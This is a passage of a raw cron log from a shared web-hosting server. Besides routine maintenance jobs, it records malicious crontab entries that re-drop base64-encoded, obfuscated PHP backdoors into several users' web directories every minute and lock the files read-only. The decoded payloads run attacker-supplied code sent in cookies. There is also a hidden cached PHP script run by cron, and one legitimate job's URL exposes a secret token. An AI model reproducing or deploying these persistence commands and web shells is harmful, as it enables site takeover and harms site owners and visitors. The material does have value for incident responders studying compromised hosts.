jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:43:02 medusa CROND[14792]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 10:43:02 medusa CROND[14793]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:43:02 medusa CROND[14795]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:43:02 medusa CROND[14794]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:43:02 medusa CROND[14796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:43:02 medusa CROND[14797]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:43:02 medusa CROND[14798]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:43:02 medusa CROND[14799]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:43:02 medusa CROND[14803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:43:02 medusa CROND[14802]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:43:02 medusa CROND[14805]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:43:02 medusa CROND[14809]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 10:43:02 medusa CROND[14813]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:43:02 medusa CROND[14817]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Jun  7 10:44:02 medusa CROND[16506]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:44:02 medusa CROND[16510]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:44:02 medusa CROND[16511]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 10:44:02 medusa CROND[16512]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:44:02 medusa CROND[16513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:44:02 medusa CROND[16515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:44:02 medusa CROND[16516]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:44:02 medusa CROND[16517]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:44:02 medusa CROND[16518]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:44:02 medusa CROND[16520]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:44:02 medusa CROND[16521]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:44:02 medusa CROND[16525]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:44:02 medusa CROND[16528]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:45:01 medusa CROND[18228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:45:02 medusa CROND[18242]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 10:45:02 medusa CROND[18244]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 10:45:02 medusa CROND[18245]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 10:45:02 medusa CROND[18246]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 10:45:02 medusa CROND[18247]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 10:45:02 medusa CROND[18248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:45:02 medusa CROND[18249]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
